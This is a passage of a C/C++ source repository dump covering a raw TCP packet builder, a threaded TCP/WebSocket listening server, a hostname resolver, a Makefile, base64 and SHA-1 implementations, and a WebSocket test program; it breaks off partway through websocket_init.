pos, kind, length) { \ 23 | data[pos++] = kind; \ 24 | data[pos++] = length; \ 25 | } 26 | 27 | #ifdef ADDOPTIONS 28 | static unsigned char* make_options(int &option_size, struct Options* opts) { 29 | unsigned char* options; 30 | static uint32_t heartbeat = 0; 31 | uint32_t echo, tstamp; 32 | int pos = 0; 33 | if (opts == NULL) { 34 | option_size = 0; 35 | return NULL; 36 | } 37 | 38 | option_size = 4 //Maximum segmen size 39 | + 2 //TCP SACK Permitted 40 | + 1 //No-operation 41 | + 3 //Window scale(2^n) 42 | + 10; //timestamp 43 | options = (unsigned char*)malloc(option_size); 44 | set_option(options, pos, 2, 4) 45 | *(unsigned short*)(options+pos) = 1386; //MSS 46 | pos += 2; 47 | set_option(options, pos, 4, 2) //SACK 48 | options[pos++] = 1; //NOP 49 | set_option(options, pos, 3, 3) 50 | options[pos++] = 0; //Scale 51 | set_option(options, pos, 8, 10) //timestamp 52 | echo = htonl(heartbeat++); 53 | memcpy(options+pos, &echo, 4); //timestamp 54 | pos += 4; 55 | tstamp = htonl(opts->tstamp); 56 | memcpy(options+pos, &tstamp, 4); //timestamp echo 57 | return options; 58 | } 59 | #endif 60 | 61 | char* construct_tcp(int sport, int dport, const u_char *payload, int payload_size, 62 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP, 63 | struct Options* opts, int &packet_size) { 64 | int tcp_opt_size = 0; 65 | char *packet, *data; 66 | // struct mytcphdr *tcp; 67 | struct pseudohdr *pseudoheader; 68 | #ifdef ADDOPTIONS 69 | unsigned char *optlist; 70 | unsigned char *options = make_options(tcp_opt_size, opts); 71 | #endif 72 | 73 | packet_size = TCPHDR_SIZE + tcp_opt_size + payload_size; 74 | packet = (char*)malloc(PSEUDOHDR_SIZE + packet_size); 75 | if (packet == NULL) { 76 | perror("[send_tcphdr] malloc()"); 77 | return NULL; 78 | } 79 | pseudoheader = (struct pseudohdr*) packet; 80 | struct mytcphdr* tcp = (struct mytcphdr*) (packet+PSEUDOHDR_SIZE); 81 | #ifdef ADDOPTIONS 82 | optlist = (unsigned char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE); 83 | #endif 84 | data = (char*) (packet+PSEUDOHDR_SIZE+TCPHDR_SIZE+tcp_opt_size); 85 | 86 | memset(packet, 0, PSEUDOHDR_SIZE+packet_size); 87 | 88 | inet_pton(AF_INET, srcIP, &pseudoheader->saddr); 89 | inet_pton(AF_INET, dstIP, &pseudoheader->daddr); 90 | 91 | /* tcp pseudo header */ 92 | // memcpy(&pseudoheader->saddr, &local.sin_addr.s_addr, 4); 93 | // memcpy(&pseudoheader->daddr, &remote.sin_addr.s_addr, 4); 94 | pseudoheader->protocol = 6; /* tcp */ 95 | pseudoheader->lenght = htons(TCPHDR_SIZE+tcp_opt_size+payload_size); 96 | 97 | /* tcp header */ 98 | tcp->th_dport = htons(dport); 99 | tcp->th_sport = htons(sport); 100 | 101 | /* sequence number and ack are random if not set */ 102 | tcp->th_seq = htonl(tcp_in->th_seq); 103 | tcp->th_ack = htonl(tcp_in->th_ack); 104 | 105 | 106 | 107 | 108 | tcp->th_off = (TCPHDR_SIZE + tcp_opt_size) >> 2 ; 109 | tcp->th_win = htons(tcp_in->th_win); 110 | tcp->th_flags = tcp_in->th_flags; 111 | 112 | /* data */ 113 | // data_handler(data, payload, payload_size); 114 | #ifdef ADDOPTIONS 115 | if (tcp_opt_size > 0) memcpy(optlist, options, tcp_opt_size); 116 | #endif 117 | memcpy(data, payload, payload_size); 118 | 119 | /* compute checksum */ 120 | #ifdef STUPID_SOLARIS_CHECKSUM_BUG 121 | tcp->th_sum = packet_size; 122 | #else 123 | tcp->th_sum = cksum((u_short*) packet, PSEUDOHDR_SIZE + 124 | packet_size); 125 | #endif 126 | 127 | #ifdef ADDOPTIONS 128 | if (options) free(options); 129 | #endif 130 | 131 | return packet+PSEUDOHDR_SIZE; 132 | } 133 | 134 | void release_tcp(char* tcp) { 135 | free(tcp - PSEUDOHDR_SIZE); 136 | } 137 | 138 | void send_tcp(int sport, int dport, int id, int ttl, const u_char *payload, int payload_size, 139 | struct tcphdr_bsd* tcp_in, const char* srcIP, const char* dstIP, 140 | struct Options* opts) 141 | { 142 | int packet_size; 143 | char* packet = construct_tcp(sport, dport, payload, payload_size, 144 | tcp_in, srcIP, dstIP, opts, packet_size); 145 | 146 | /* adds this pkt in delaytable */ 147 | // delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); 148 | 149 | /* send packet */ 150 | send_ip_handler(0, ttl, (char*)srcIP, (char*)dstIP, packet, packet_size); 151 | release_tcp(packet); 152 | } 153 | -------------------------------------------------------------------------------- /server/src/server.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "server.h" 4 | #include "websocket/websocket.h" 5 | 6 | int Global_websocket_fd = -1; 7 | pthread_mutex_t socket_lock, nfq_lock; 8 | 9 | void* server_listening(void* data) { 10 | int sockfd, newsockfd, portno = MYPORT; 11 | socklen_t clilen; 12 | // char buffer[256]; 13 | struct sockaddr_in serv_addr, cli_addr; 14 | // int n; 15 | int optval = 1; 16 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 17 | perror("Error opening socket"); 18 | } 19 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval); 20 | setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &optval, sizeof optval); 21 | bzero((char *) &serv_addr, sizeof(serv_addr)); 22 | serv_addr.sin_family = AF_INET; 23 | serv_addr.sin_addr.s_addr = INADDR_ANY; 24 | serv_addr.sin_port = htons(portno); 25 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 26 | perror("Error on binding"); 27 | } 28 | printf("server listening on %d\n", portno); 29 | listen(sockfd, 5); 30 | clilen = sizeof(cli_addr); 31 | 32 | while (1) { 33 | printf("waiting for connection\n"); 34 | pthread_mutex_lock(&nfq_lock); 35 | pthread_mutex_lock(&socket_lock); 36 | if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) == -1) { 37 | printf("Error on accept\n"); 38 | continue; 39 | } 40 | printf("accept\n"); 41 | Global_websocket_fd = newsockfd; 42 | pthread_mutex_unlock(&socket_lock); 43 | } 44 | 45 | close(sockfd); 46 | return NULL; 47 | } 48 | 49 | void* websocket_listening(void* data) { 50 | int sockfd, newsockfd; 51 | // uint64_t length; 52 | // unsigned char buffer[1024]; 53 | 54 | websocket_init(sockfd, MYPORT); 55 | while (1) { 56 | pthread_mutex_lock(&nfq_lock); 57 | pthread_mutex_lock(&socket_lock); 58 | if (websocket_accept(sockfd, newsockfd) <0) { 59 | printf("%s: %d\n", "Error on accept", newsockfd); 60 | continue; 61 | } 62 | printf("accept\n"); 63 | if (websocket_handshake(newsockfd) < 0) { 64 | continue; 65 | } 66 | printf("complete handshake\n"); 67 | 68 | Global_websocket_fd = newsockfd; 69 | pthread_mutex_unlock(&socket_lock); 70 | } 71 | websocket_close(sockfd); 72 | return NULL; 73 | } 74 | 75 | void thread_server_start() { 76 | pthread_t child; 77 | pthread_attr_t attr; 78 | 79 | pthread_attr_init(&attr); 80 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); 81 | pthread_mutex_init(&socket_lock, NULL); 82 | pthread_mutex_init(&nfq_lock, NULL); 83 | 84 | #ifdef WEBSOCKET 85 | if (pthread_create(&child, &attr, websocket_listening, NULL) != 0) { 86 | perror("thread create\n"); 87 | } 88 | #else 89 | if (pthread_create(&child, &attr, server_listening, NULL) != 0) { 90 | perror("thread create\n"); 91 | } 92 | #endif 93 | } 94 | 95 | static bool if_exist(struct Hosts* hosts, char* ip) { 96 | for (int i = 0; i < hosts->num; i++) { 97 | if (!strcmp(hosts->ips[i], ip)) { 98 | return true; 99 | } 100 | } 101 | return false; 102 | } 103 | 104 | struct Hosts* getipbyhostname(char* hostname) { 105 | int rv; 106 | struct addrinfo hints, *servinfo, *p; 107 | struct sockaddr_in *addr; 108 | struct Hosts* ret = (struct Hosts*)malloc(sizeof(struct Hosts)); 109 | char* s = NULL; 110 | ret->num = 0; 111 | memset(&hints, 0, sizeof hints); 112 | if ((rv = getaddrinfo(hostname, "http", &hints, &servinfo)) != 0) { 113 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 114 | exit(1); 115 | } 116 | 117 | for (p = servinfo; p != NULL; p = p->ai_next) { 118 | if (p->ai_addr && p->ai_family == AF_INET) { 119 | printf("find one\n"); 120 | addr = (struct sockaddr_in*)(p->ai_addr); 121 | s = (char*)malloc(INET_ADDRSTRLEN); 122 | inet_ntop(AF_INET, &(addr->sin_addr), s, INET_ADDRSTRLEN); 123 | if (!if_exist(ret, s)) { 124 | ret->ips[ret->num++] = s; 125 | } 126 | // return s; 127 | // break; 128 | } 129 | } 130 | return ret; 131 | } -------------------------------------------------------------------------------- /server/src/server.h: -------------------------------------------------------------------------------- 1 | #ifndef SERVER_H 2 | #define SERVER_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | //global variables 17 | extern int Global_websocket_fd; 18 | extern pthread_mutex_t socket_lock, nfq_lock; 19 | 20 | struct Hosts { 21 | int num; 22 | char* ips[5]; 23 | }; 24 | 25 | void thread_server_start(); 26 | struct Hosts* getipbyhostname(char* hostname); 27 | 28 | #endif -------------------------------------------------------------------------------- /server/src/websocket/Makefile: -------------------------------------------------------------------------------- 1 | LIBS = 2 | SRC = main.c \ 3 | websocket.c \ 4 | sha1.c \ 5 | base64.c 6 | HEADER = -I/usr/include 7 | CXXFLAGS = -Wall -O2 8 | OBJS = $(SRC:%.c=%.o) 9 | CC = g++ 10 | all: $(OBJS) 11 | $(CC) -o websocket $^ $(CXXFLAGS) $(HEADER) $(LIBS) 12 | 13 | main.o: main.c websocket.h 14 | $(CC) $(CXXFLAGS) -c $< -o $@ 15 | websocket.o: websocket.c websocket.h sha1.h base64.h 16 | $(CC) $(CXXFLAGS) -c $< -o $@ 17 | sha1.o: sha1.c sha1.h 18 | $(CC) $(CXXFLAGS) -c $< -o $@ 19 | base64.o: base64.c base64.h 20 | $(CC) $(CXXFLAGS) -c $< -o $@ 21 | clean: 22 | rm -f *.o 23 | -------------------------------------------------------------------------------- /server/src/websocket/base64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "base64.h" 6 | 7 | /** 8 | * characters used for Base64 encoding 9 | */ 10 | const char *BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 11 | 12 | /** 13 | * encode three bytes using base64 (RFC 3548) 14 | * 15 | * @param triple three bytes that should be encoded 16 | * @param result buffer of four characters where the result is stored 17 | */ 18 | void _base64_encode_triple(unsigned char triple[3], char result[4]) 19 | { 20 | int tripleValue, i; 21 | 22 | tripleValue = triple[0]; 23 | tripleValue *= 256; 24 | tripleValue += triple[1]; 25 | tripleValue *= 256; 26 | tripleValue += triple[2]; 27 | 28 | for (i=0; i<4; i++) 29 | { 30 | result[3-i] = BASE64_CHARS[tripleValue%64]; 31 | tripleValue /= 64; 32 | } 33 | } 34 | 35 | /** 36 | * encode an array of bytes using Base64 (RFC 3548) 37 | * 38 | * @param source the source buffer 39 | * @param sourcelen the length of the source buffer 40 | * @param target the target buffer 41 | * @param targetlen the length of the target buffer 42 | * @return 1 on success, 0 otherwise 43 | */ 44 | int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen) 45 | { 46 | /* check if the result will fit in the target buffer */ 47 | if ((sourcelen+2)/3*4 > targetlen-1) 48 | return 0; 49 | 50 | /* encode all full triples */ 51 | while (sourcelen >= 3) 52 | { 53 | _base64_encode_triple(source, target); 54 | sourcelen -= 3; 55 | source += 3; 56 | target += 4; 57 | } 58 | 59 | /* encode the last one or two characters */ 60 | if (sourcelen > 0) 61 | { 62 | unsigned char temp[3]; 63 | memset(temp, 0, sizeof(temp)); 64 | memcpy(temp, source, sourcelen); 65 | _base64_encode_triple(temp, target); 66 | target[3] = '='; 67 | if (sourcelen == 1) 68 | target[2] = '='; 69 | 70 | target += 4; 71 | } 72 | 73 | /* terminate the string */ 74 | target[0] = 0; 75 | 76 | return 1; 77 | } 78 | 79 | /** 80 | * determine the value of a base64 encoding character 81 | * 82 | * @param base64char the character of which the value is searched 83 | * @return the value in case of success (0-63), -1 on failure 84 | */ 85 | int _base64_char_value(char base64char) 86 | { 87 | if (base64char >= 'A' && base64char <= 'Z') 88 | return base64char-'A'; 89 | if (base64char >= 'a' && base64char <= 'z') 90 | return base64char-'a'+26; 91 | if (base64char >= '0' && base64char <= '9') 92 | return base64char-'0'+2*26; 93 | if (base64char == '+') 94 | return 2*26+10; 95 | if (base64char == '/') 96 | return 2*26+11; 97 | return -1; 98 | } 99 | 100 | /** 101 | * decode a 4 char base64 encoded byte triple 102 | * 103 | * @param quadruple the 4 characters that should be decoded 104 | * @param result the decoded data 105 | * @return lenth of the result (1, 2 or 3), 0 on failure 106 | */ 107 | int _base64_decode_triple(char quadruple[4], unsigned char *result) 108 | { 109 | int i, triple_value, bytes_to_decode = 3, only_equals_yet = 1; 110 | int char_value[4]; 111 | 112 | for (i=0; i<4; i++) 113 | char_value[i] = _base64_char_value(quadruple[i]); 114 | 115 | /* check if the characters are valid */ 116 | for (i=3; i>=0; i--) 117 | { 118 | if (char_value[i]<0) 119 | { 120 | if (only_equals_yet && quadruple[i]=='=') 121 | { 122 | /* we will ignore this character anyway, make it something 123 | * that does not break our calculations */ 124 | char_value[i]=0; 125 | bytes_to_decode--; 126 | continue; 127 | } 128 | return 0; 129 | } 130 | /* after we got a real character, no other '=' are allowed anymore */ 131 | only_equals_yet = 0; 132 | } 133 | 134 | /* if we got "====" as input, bytes_to_decode is -1 */ 135 | if (bytes_to_decode < 0) 136 | bytes_to_decode = 0; 137 | 138 | /* make one big value out of the partial values */ 139 | triple_value = char_value[0]; 140 | triple_value *= 64; 141 | triple_value += char_value[1]; 142 | triple_value *= 64; 143 | triple_value += char_value[2]; 144 | triple_value *= 64; 145 | triple_value += char_value[3]; 146 | 147 | /* break the big value into bytes */ 148 | for (i=bytes_to_decode; i<3; i++) 149 | triple_value /= 256; 150 | for (i=bytes_to_decode-1; i>=0; i--) 151 | { 152 | result[i] = triple_value%256; 153 | triple_value /= 256; 154 | } 155 | 156 | return bytes_to_decode; 157 | } 158 | 159 | /** 160 | * decode base64 encoded data 161 | * 162 | * @param source the encoded data (zero terminated) 163 | * @param target pointer to the target buffer 164 | * @param targetlen length of the target buffer 165 | * @return length of converted data on success, -1 otherwise 166 | */ 167 | size_t base64_decode(char *source, unsigned char *target, size_t targetlen) 168 | { 169 | char *src, *tmpptr; 170 | char quadruple[4]; 171 | unsigned char tmpresult[3]; 172 | int i, tmplen = 3; 173 | size_t converted = 0; 174 | 175 | /* concatinate '===' to the source to handle unpadded base64 data */ 176 | src = (char *)malloc(strlen(source)+5); 177 | if (src == NULL) 178 | return -1; 179 | strcpy(src, source); 180 | strcat(src, "===="); 181 | tmpptr = src; 182 | 183 | /* convert as long as we get a full result */ 184 | while (tmplen == 3) 185 | { 186 | /* get 4 characters to convert */ 187 | for (i=0; i<4; i++) 188 | { 189 | /* skip invalid characters - we won't reach the end */ 190 | while (*tmpptr != '=' && _base64_char_value(*tmpptr)<0) 191 | tmpptr++; 192 | 193 | quadruple[i] = *(tmpptr++); 194 | } 195 | 196 | /* convert the characters */ 197 | tmplen = _base64_decode_triple(quadruple, tmpresult); 198 | 199 | /* check if the fit in the result buffer */ 200 | if (targetlen < tmplen) 201 | { 202 | free(src); 203 | return -1; 204 | } 205 | 206 | /* put the partial result in the result buffer */ 207 | memcpy(target, tmpresult, tmplen); 208 | target += tmplen; 209 | targetlen -= tmplen; 210 | converted += tmplen; 211 | } 212 | 213 | free(src); 214 | return converted; 215 | } 216 | 217 | -------------------------------------------------------------------------------- /server/src/websocket/base64.h: -------------------------------------------------------------------------------- 1 | #ifndef BASE64_H_ 2 | #define BASE64_H_ 3 | 4 | int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen); 5 | void _base64_encode_triple(unsigned char triple[3], char result[4]); 6 | int _base64_char_value(char base64char); 7 | int _base64_decode_triple(char quadruple[4], unsigned char *result); 8 | size_t base64_decode(char *source, unsigned char *target, size_t targetlen); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /server/src/websocket/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "websocket.h" 6 | 7 | int main() { 8 | int sockfd, newsockfd; 9 | uint64_t length; 10 | unsigned char buffer[1024]; 11 | 12 | websocket_init(sockfd, 30006); 13 | if (websocket_accept(sockfd, newsockfd) <0) { 14 | printf("%s: %d\n", "Error on accept", newsockfd); 15 | return 1; 16 | } 17 | printf("Accept: %d\n", newsockfd); 18 | printf("Start handshake\n"); 19 | 20 | if (websocket_handshake(newsockfd) < 0) { 21 | return 1; 22 | } 23 | printf("handshake successfully\n"); 24 | 25 | if ((length = websocket_recv_frag(newsockfd, buffer, 1024)) > 0) { 26 | buffer[length] = '\0'; 27 | printf("%s\n", buffer); 28 | 29 | websocket_send_frame(newsockfd, buffer, strlen((char*)buffer), TEXT_FRAME, 1); 30 | } 31 | 32 | websocket_close(newsockfd); 33 | websocket_close(sockfd); 34 | return 0; 35 | } -------------------------------------------------------------------------------- /server/src/websocket/sha1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * sha1.c 3 | * 4 | * Copyright (C) 1998, 2009 5 | * Paul E. Jones 6 | * All Rights Reserved 7 | * 8 | ***************************************************************************** 9 | * $Id: sha1.c 12 2009-06-22 19:34:25Z paulej $ 10 | ***************************************************************************** 11 | * 12 | * Description: 13 | * This file implements the Secure Hashing Standard as defined 14 | * in FIPS PUB 180-1 published April 17, 1995. 15 | * 16 | * The Secure Hashing Standard, which uses the Secure Hashing 17 | * Algorithm (SHA), produces a 160-bit message digest for a 18 | * given data stream. In theory, it is highly improbable that 19 | * two messages will produce the same message digest. Therefore, 20 | * this algorithm can serve as a means of providing a "fingerprint" 21 | * for a message. 22 | * 23 | * Portability Issues: 24 | * SHA-1 is defined in terms of 32-bit "words". This code was 25 | * written with the expectation that the processor has at least 26 | * a 32-bit machine word size. If the machine word size is larger, 27 | * the code should still function properly. One caveat to that 28 | * is that the input functions taking characters and character 29 | * arrays assume that only 8 bits of information are stored in each 30 | * character. 31 | * 32 | * Caveats: 33 | * SHA-1 is designed to work with messages less than 2^64 bits 34 | * long. Although SHA-1 allows a message digest to be generated for 35 | * messages of any number of bits less than 2^64, this 36 | * implementation only works with messages with a length that is a 37 | * multiple of the size of an 8-bit character. 38 | * 39 | */ 40 | 41 | #include "sha1.h" 42 | 43 | /* 44 | * Define the circular shift macro 45 | */ 46 | #define SHA1CircularShift(bits,word) \ 47 | ((((word) << (bits)) & 0xFFFFFFFF) | \ 48 | ((word) >> (32-(bits)))) 49 | 50 | /* Function prototypes */ 51 | void SHA1ProcessMessageBlock(SHA1Context *); 52 | void SHA1PadMessage(SHA1Context *); 53 | 54 | /* 55 | * SHA1Reset 56 | * 57 | * Description: 58 | * This function will initialize the SHA1Context in preparation 59 | * for computing a new message digest. 60 | * 61 | * Parameters: 62 | * context: [in/out] 63 | * The context to reset. 64 | * 65 | * Returns: 66 | * Nothing. 67 | * 68 | * Comments: 69 | * 70 | */ 71 | void SHA1Reset(SHA1Context *context) 72 | { 73 | context->Length_Low = 0; 74 | context->Length_High = 0; 75 | context->Message_Block_Index = 0; 76 | 77 | context->Message_Digest[0] = 0x67452301; 78 | context->Message_Digest[1] = 0xEFCDAB89; 79 | context->Message_Digest[2] = 0x98BADCFE; 80 | context->Message_Digest[3] = 0x10325476; 81 | context->Message_Digest[4] = 0xC3D2E1F0; 82 | 83 | context->Computed = 0; 84 | context->Corrupted = 0; 85 | } 86 | 87 | /* 88 | * SHA1Result 89 | * 90 | * Description: 91 | * This function will return the 160-bit message digest into the 92 | * Message_Digest array within the SHA1Context provided 93 | * 94 | * Parameters: 95 | * context: [in/out] 96 | * The context to use to calculate the SHA-1 hash. 97 | * 98 | * Returns: 99 | * 1 if successful, 0 if it failed. 100 | * 101 | * Comments: 102 | * 103 | */ 104 | int SHA1Result(SHA1Context *context) 105 | { 106 | 107 | if (context->Corrupted) 108 | { 109 | return 0; 110 | } 111 | 112 | if (!context->Computed) 113 | { 114 | SHA1PadMessage(context); 115 | context->Computed = 1; 116 | } 117 | 118 | return 1; 119 | } 120 | 121 | /* 122 | * SHA1Input 123 | * 124 | * Description: 125 | * This function accepts an array of octets as the next portion of 126 | * the message. 127 | * 128 | * Parameters: 129 | * context: [in/out] 130 | * The SHA-1 context to update 131 | * message_array: [in] 132 | * An array of characters representing the next portion of the 133 | * message. 134 | * length: [in] 135 | * The length of the message in message_array 136 | * 137 | * Returns: 138 | * Nothing. 139 | * 140 | * Comments: 141 | * 142 | */ 143 | void SHA1Input( SHA1Context *context, 144 | const unsigned char *message_array, 145 | unsigned length) 146 | { 147 | if (!length) 148 | { 149 | return; 150 | } 151 | 152 | if (context->Computed || context->Corrupted) 153 | { 154 | context->Corrupted = 1; 155 | return; 156 | } 157 | 158 | while(length-- && !context->Corrupted) 159 | { 160 | context->Message_Block[context->Message_Block_Index++] = 161 | (*message_array & 0xFF); 162 | 163 | context->Length_Low += 8; 164 | /* Force it to 32 bits */ 165 | context->Length_Low &= 0xFFFFFFFF; 166 | if (context->Length_Low == 0) 167 | { 168 | context->Length_High++; 169 | /* Force it to 32 bits */ 170 | context->Length_High &= 0xFFFFFFFF; 171 | if (context->Length_High == 0) 172 | { 173 | /* Message is too long */ 174 | context->Corrupted = 1; 175 | } 176 | } 177 | 178 | if (context->Message_Block_Index == 64) 179 | { 180 | SHA1ProcessMessageBlock(context); 181 | } 182 | 183 | message_array++; 184 | } 185 | } 186 | 187 | /* 188 | * SHA1ProcessMessageBlock 189 | * 190 | * Description: 191 | * This function will process the next 512 bits of the message 192 | * stored in the Message_Block array. 193 | * 194 | * Parameters: 195 | * None. 196 | * 197 | * Returns: 198 | * Nothing. 199 | * 200 | * Comments: 201 | * Many of the variable names in the SHAContext, especially the 202 | * single character names, were used because those were the names 203 | * used in the publication. 204 | * 205 | * 206 | */ 207 | void SHA1ProcessMessageBlock(SHA1Context *context) 208 | { 209 | const unsigned K[] = /* Constants defined in SHA-1 */ 210 | { 211 | 0x5A827999, 212 | 0x6ED9EBA1, 213 | 0x8F1BBCDC, 214 | 0xCA62C1D6 215 | }; 216 | int t; /* Loop counter */ 217 | unsigned temp; /* Temporary word value */ 218 | unsigned W[80]; /* Word sequence */ 219 | unsigned A, B, C, D, E; /* Word buffers */ 220 | 221 | /* 222 | * Initialize the first 16 words in the array W 223 | */ 224 | for(t = 0; t < 16; t++) 225 | { 226 | W[t] = ((unsigned) context->Message_Block[t * 4]) << 24; 227 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16; 228 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8; 229 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]); 230 | } 231 | 232 | for(t = 16; t < 80; t++) 233 | { 234 | W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); 235 | } 236 | 237 | A = context->Message_Digest[0]; 238 | B = context->Message_Digest[1]; 239 | C = context->Message_Digest[2]; 240 | D = context->Message_Digest[3]; 241 | E = context->Message_Digest[4]; 242 | 243 | for(t = 0; t < 20; t++) 244 | { 245 | temp = SHA1CircularShift(5,A) + 246 | ((B & C) | ((~B) & D)) + E + W[t] + K[0]; 247 | temp &= 0xFFFFFFFF; 248 | E = D; 249 | D = C; 250 | C = SHA1CircularShift(30,B); 251 | B = A; 252 | A = temp; 253 | } 254 | 255 | for(t = 20; t < 40; t++) 256 | { 257 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1]; 258 | temp &= 0xFFFFFFFF; 259 | E = D; 260 | D = C; 261 | C = SHA1CircularShift(30,B); 262 | B = A; 263 | A = temp; 264 | } 265 | 266 | for(t = 40; t < 60; t++) 267 | { 268 | temp = SHA1CircularShift(5,A) + 269 | ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2]; 270 | temp &= 0xFFFFFFFF; 271 | E = D; 272 | D = C; 273 | C = SHA1CircularShift(30,B); 274 | B = A; 275 | A = temp; 276 | } 277 | 278 | for(t = 60; t < 80; t++) 279 | { 280 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3]; 281 | temp &= 0xFFFFFFFF; 282 | E = D; 283 | D = C; 284 | C = SHA1CircularShift(30,B); 285 | B = A; 286 | A = temp; 287 | } 288 | 289 | context->Message_Digest[0] = 290 | (context->Message_Digest[0] + A) & 0xFFFFFFFF; 291 | context->Message_Digest[1] = 292 | (context->Message_Digest[1] + B) & 0xFFFFFFFF; 293 | context->Message_Digest[2] = 294 | (context->Message_Digest[2] + C) & 0xFFFFFFFF; 295 | context->Message_Digest[3] = 296 | (context->Message_Digest[3] + D) & 0xFFFFFFFF; 297 | context->Message_Digest[4] = 298 | (context->Message_Digest[4] + E) & 0xFFFFFFFF; 299 | 300 | context->Message_Block_Index = 0; 301 | } 302 | 303 | /* 304 | * SHA1PadMessage 305 | * 306 | * Description: 307 | * According to the standard, the message must be padded to an even 308 | * 512 bits. The first padding bit must be a '1'. The last 64 309 | * bits represent the length of the original message. All bits in 310 | * between should be 0. This function will pad the message 311 | * according to those rules by filling the Message_Block array 312 | * accordingly. It will also call SHA1ProcessMessageBlock() 313 | * appropriately. When it returns, it can be assumed that the 314 | * message digest has been computed. 315 | * 316 | * Parameters: 317 | * context: [in/out] 318 | * The context to pad 319 | * 320 | * Returns: 321 | * Nothing. 322 | * 323 | * Comments: 324 | * 325 | */ 326 | void SHA1PadMessage(SHA1Context *context) 327 | { 328 | /* 329 | * Check to see if the current message block is too small to hold 330 | * the initial padding bits and length. If so, we will pad the 331 | * block, process it, and then continue padding into a second 332 | * block. 333 | */ 334 | if (context->Message_Block_Index > 55) 335 | { 336 | context->Message_Block[context->Message_Block_Index++] = 0x80; 337 | while(context->Message_Block_Index < 64) 338 | { 339 | context->Message_Block[context->Message_Block_Index++] = 0; 340 | } 341 | 342 | SHA1ProcessMessageBlock(context); 343 | 344 | while(context->Message_Block_Index < 56) 345 | { 346 | context->Message_Block[context->Message_Block_Index++] = 0; 347 | } 348 | } 349 | else 350 | { 351 | context->Message_Block[context->Message_Block_Index++] = 0x80; 352 | while(context->Message_Block_Index < 56) 353 | { 354 | context->Message_Block[context->Message_Block_Index++] = 0; 355 | } 356 | } 357 | 358 | /* 359 | * Store the message length as the last 8 octets 360 | */ 361 | context->Message_Block[56] = (context->Length_High >> 24) & 0xFF; 362 | context->Message_Block[57] = (context->Length_High >> 16) & 0xFF; 363 | context->Message_Block[58] = (context->Length_High >> 8) & 0xFF; 364 | context->Message_Block[59] = (context->Length_High) & 0xFF; 365 | context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF; 366 | context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF; 367 | context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF; 368 | context->Message_Block[63] = (context->Length_Low) & 0xFF; 369 | 370 | SHA1ProcessMessageBlock(context); 371 | } 372 | -------------------------------------------------------------------------------- /server/src/websocket/sha1.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sha1.h 3 | * 4 | * Copyright (C) 1998, 2009 5 | * Paul E. Jones 6 | * All Rights Reserved 7 | * 8 | ***************************************************************************** 9 | * $Id: sha1.h 12 2009-06-22 19:34:25Z paulej $ 10 | ***************************************************************************** 11 | * 12 | * Description: 13 | * This class implements the Secure Hashing Standard as defined 14 | * in FIPS PUB 180-1 published April 17, 1995. 15 | * 16 | * Many of the variable names in the SHA1Context, especially the 17 | * single character names, were used because those were the names 18 | * used in the publication. 19 | * 20 | * Please read the file sha1.c for more information. 21 | * 22 | */ 23 | 24 | #ifndef _SHA1_H_ 25 | #define _SHA1_H_ 26 | 27 | /* 28 | * This structure will hold context information for the hashing 29 | * operation 30 | */ 31 | typedef struct SHA1Context 32 | { 33 | unsigned Message_Digest[5]; /* Message Digest (output) */ 34 | 35 | unsigned Length_Low; /* Message length in bits */ 36 | unsigned Length_High; /* Message length in bits */ 37 | 38 | unsigned char Message_Block[64]; /* 512-bit message blocks */ 39 | int Message_Block_Index; /* Index into message block array */ 40 | 41 | int Computed; /* Is the digest computed? */ 42 | int Corrupted; /* Is the message digest corruped? */ 43 | } SHA1Context; 44 | 45 | /* 46 | * Function Prototypes 47 | */ 48 | void SHA1Reset(SHA1Context *); 49 | int SHA1Result(SHA1Context *); 50 | void SHA1Input( SHA1Context *, 51 | const unsigned char *, 52 | unsigned); 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /server/src/websocket/websocket.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "sha1.h" 12 | #include "base64.h" 13 | #include "websocket.h" 14 | 15 | #define BUFFER_SIZE 1024 16 | 17 | int websocket_init(int &sockfd, uint16_t port) { 18 | struct sockaddr_in server; 19 | int optval = 1; 20 | 21 | bzero((char *) &server, sizeof(server)); 22 | server.sin_family = AF_INET; 23 | server.sin_port = htons(port); 24 | server.sin_addr.s_addr = htonl(INADDR_ANY); 25 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 26 | perror("Error opening socket"); 27 | goto error; 28 | } 29 | 